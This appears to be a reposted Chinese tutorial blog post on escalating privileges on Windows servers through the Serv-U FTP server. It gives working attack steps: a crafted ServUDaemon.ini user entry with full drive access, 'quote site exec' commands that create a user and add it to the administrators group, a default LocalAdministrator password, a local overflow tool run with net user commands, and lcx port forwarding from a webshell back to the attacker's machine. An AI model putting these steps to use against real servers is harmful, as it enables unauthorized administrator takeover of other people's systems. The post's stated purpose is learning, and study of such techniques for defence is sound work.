Day7——提權學習之第三方軟件serv-u提權


0x00 serv-u簡介

  • Serv-U FTP Server,是一種被廣泛運用的FTP服務器端軟件,支持3x/9x/ME/NT/2K等全Windows系列。可以設定多個FTP服務器、限定登錄用戶的權限、登錄主目錄及空間大小等
  • serv-u默認安裝目錄:C:\Program Files\rhinosoft.com\serv-U
  • serv-u密碼文件:ServUDaemon.ini
  • 端口號:默認端口是43958
    ServUDaemon.ini中lccalsetuportNo=端口

0x01 FTP提權方法

1、有修改權限

2、無權限修改

3、serv-u ftp本地溢出權限提升(使用6.0以及以前版本)

4、serv-u ftp轉發端口

0x02 有修改權限

步驟如下:
1、判斷是否安裝serv-u
nmap掃端口確認
2、檢查是否有可寫權限
一般安裝目錄 c:\Program Files\Serv-u\SerUDaemon.ini
3、在serv-u中添加用戶
在user4=添加一個系統用戶

[USER=quan|1]                                //用戶名
Password=					    //用戶密碼加密后的密文
HomeDir=c:\ftp\quan             //目錄
RelPaths=3 
TimeOut=600                      //超時時間設置
Maintenance=System               //權限
Access1=C:\|RWAMELCDP            //可訪問的目錄及權限
Access2=d:\|RWAMELCDP            //可訪問的目錄及權限
Access3=e:\|RWAMELCDP            //可訪問的目錄及權限
SKEYValues=

password=2位隨機字符+md5(2位隨機字符+123456)

4、連接目標FTP服務器

ftp 目標IP地址 剛添加的用戶密碼

5、利用ftp命令quote site exec 添加用戶加入administrators權限組

quote site exec net user quan quan123 /add
quote site exec net localgroup administrators quan /add

0x03 無修改權限

1、利用md5 直接去解密
2、默認用戶名密碼
賬戶:LocalAdministrator ,密碼:#l@$ak#.lk;0@P
命令:
cmd /c net user quan quan123 /add & net localgroup administrators quan /add
3、不是默認密碼時
直接把SerUAdmin.exe 下載下來
用winhex打開查找LocalAdministrator(選擇ANSI字符)進行查找密碼

0x04 serv-u ftp本地溢出權限提升(使用6.0以及以前版本)

步驟如下:
1、用Serv-U提權綜合工具生成提權工具serv_u.exe
2、先上傳 serv_u.exe 到一個盤符下
比如是d盤
3、執行命令

d:\serv_u.exe
d:\serv_u.exe “net user quan quan123 /add”
d:\serv_u.exe “net localgroup administrators quan /add” 

注意命令要有引號

0x05 serv-u ftp轉發端口

1、lcx端口轉發
在目標Webshell上運行LCX命令

lcx -slave yourIP 5000 127.0.0.1 43958

在本機上運行

lcx -listen 5000 21

2、本機登陸Serv_U
打開本地的SERV_U 在IP上填入127.0.0.1
帳號寫LocalAdministrator 密碼#l@$ak#.lk;0@P

0x06 參考

https://blog.csdn.net/God_XiangYu/article/details/99692269
https://www.cnblogs.com/feizianquan/p/10891352.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM